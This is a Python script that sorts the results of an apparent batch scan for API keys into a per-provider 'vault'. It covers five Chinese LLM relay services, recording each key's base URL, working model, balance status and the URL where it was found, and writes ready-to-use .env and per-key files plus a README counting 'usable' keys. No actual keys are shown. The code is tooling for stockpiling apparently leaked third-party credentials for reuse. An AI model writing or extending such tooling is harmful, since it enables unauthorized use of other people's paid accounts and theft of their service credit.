#!/usr/bin/env python3 """Vault the 2026-08-03 CN coding-plan batch winners. Reads results/cn_batch2_full/usable.txt + no_balance.txt and writes per-provider vault directories under usable_keys// with keys.json, keys.env, and per-key .txt files. Then rebuilds the root all_keys.json + README.md. """ import json, re, time from pathlib import Path HERE = Path(__file__).resolve().parent VAULT = HERE / "usable_keys" SRC = HERE / "results/cn_batch2_full" # Provider metadata: base_url, default model, auth, official site META = { "iflytek_maas": { "dir": "iflytek_maas", "base_url": "https://maas-api.cn-huabei-1.xf-yun.com/v1", "auth": "Bearer", "site": "https://www.xfyun.cn/", "plan": "iFlytek Spark MaaS (讯飞星火 MaaS)", }, "dmxapi": { "dir": "dmxapi", "base_url": "https://www.dmxapi.cn/v1", "auth": "Bearer", "site": "https://www.dmxapi.cn/", "plan": "DMXAPI — one_api relay aggregator", }, "aihubmix": { "dir": "aihubmix", "base_url": "https://aihubmix.com/v1", "auth": "Bearer", "site": "https://aihubmix.com/", "plan": "AIHubMix — international+CN model aggregator", }, "closeai": { "dir": "closeai", "base_url": "https://api.closeai-asia.com/v1", "auth": "Bearer", "site": "https://www.closeai-asia.com/", "plan": "CloseAI-Asia relay", }, "api2d": { "dir": "api2d", "base_url": "https://oa.api2d.net/v1", "auth": "Bearer", "site": "https://api2d.com/", "plan": "API2D — Chinese OpenAI/Anthropic relay", }, } def parse_bucket(path): """Parse provkeyurldetail, handling the prov+key concat bug.""" rows = [] if not path.exists(): return rows for ln in path.read_text(errors="replace").splitlines(): parts = ln.split("\t") if len(parts) < 3: continue prov, key, url = parts[0], parts[1], parts[2] detail = parts[3] if len(parts) > 3 else "" if not key.startswith("sk-") and prov.startswith(tuple(META.keys())): # split concatenated "provsk-..." for p in META: if prov.startswith(p): maybe_key = prov[len(p):] if maybe_key.startswith("sk-"): prov, key = p, maybe_key break if prov in META and key.startswith("sk-"): rows.append((prov, key, url, detail)) return rows def slug(s, n=6): return s[:n] def write_provider(prov, entries, verdict): """entries: list of (key, source, detail). verdict: USABLE|NO_BALANCE.""" meta = META[prov] d = VAULT / meta["dir"] d.mkdir(parents=True, exist_ok=True) # load existing keys.json if present kf = d / "keys.json" existing = [] if kf.exists(): try: data = json.loads(kf.read_text()) existing = data if isinstance(data, list) else [data] except Exception: existing = [] existing_keys = {e.get("key") for e in existing} # extract working model from detail: "model 200 ..." or "model 403 ..." model_re = re.compile(r"^(\S+)\s+(200|40\d)") added = 0 for key, source, detail in entries: if key in existing_keys: continue m = model_re.match(detail or "") model = m.group(1) if m else None # try to pull content snippet content = "" if "200" in (detail or ""): cm = re.search(r"200\s+(.*)", detail) if cm: content = cm.group(1)[:80] entry = { "key": key, "source": source, "detail": detail[:200], "base_url": meta["base_url"], "auth": meta["auth"], "models": [model] if model else [], "status": verdict, "found": int(time.time()), } if verdict == "NO_BALANCE": entry["note"] = "real credential, account balance exhausted" existing.append(entry) existing_keys.add(key) added += 1 kf.write_text(json.dumps(existing, indent=2, ensure_ascii=False)) # rebuild keys.env env = d / "keys.env" lines = [f"# {meta['plan']}", f"# {meta['site']}", f"# base_url={meta['base_url']}", ""] for e in existing: lines.append(f"{e['key']}") env.write_text("\n".join(lines) + "\n") # per-key .txt for i, e in enumerate(existing, 1): slug6 = slug(e["key"].replace("sk-", "").replace("-", ""), 6) pf = d / f"key_{i:02d}_{slug6}.txt" pf.write_text( f"key: {e['key']}\n" f"base_url: {e['base_url']}\n" f"auth: {e['auth']}\n" f"models: {','.join(e.get('models', []))}\n" f"status: {e['status']}\n" f"source: {e['source']}\n" f"detail: {e.get('detail','')}\n" ) return added, len(existing) def rebuild_root(): ak = [] counts = {} for d in sorted(p for p in VAULT.iterdir() if p.is_dir()): f = d / "keys.json" if not f.exists(): continue try: data = json.loads(f.read_text()) except Exception: continue data = data if isinstance(data, list) else [data] for e in data: if isinstance(e, dict) and e.get("key"): ak.append(dict(e, provider=d.name)) counts[d.name] = len(data) (VAULT / "all_keys.json").write_text( json.dumps(ak, indent=2, ensure_ascii=False)) lines = ["# Usable LLM Keys Vault", "", "## Counts", ""] for k in sorted(counts, key=lambda x: -counts[x]): lines.append(f"- **{k}**: {counts[k]}") lines.append("") lines.append(f"**Total: {sum(counts.values())} keys across " f"{len(counts)} providers**") lines.append("") (VAULT / "README.md").write_text("\n".join(lines)) return counts def main(): usable = parse_bucket(SRC / "usable.txt") nobal = parse_bucket(SRC / "no_balance.txt") print(f"parsed {len(usable)} usable + {len(nobal)} no-balance keys") by_prov_u = {} by_prov_n = {} for prov, key, url, detail in usable: by_prov_u.setdefault(prov, []).append((key, url, detail)) for prov, key, url, detail in nobal: by_prov_n.setdefault(prov, []).append((key, url, detail)) summary = {} for prov in META: u = by_prov_u.get(prov, []) n = by_prov_n.get(prov, []) if not u and not n: continue a1, t1 = write_provider(prov, u, "USABLE") a2, t2 = write_provider(prov, n, "NO_BALANCE") summary[prov] = (a1 + a2, t1) print(f" {prov:16s}: +{a1+a2:3d} new (total {t1})") counts = rebuild_root() print("\nvault rebuild complete. counts:") for k in sorted(counts, key=lambda x: -counts[x]): print(f" {k:16s}: {counts[k]}") print(f"\n TOTAL: {sum(counts.values())} keys across {len(counts)} providers") if __name__ == "__main__": main()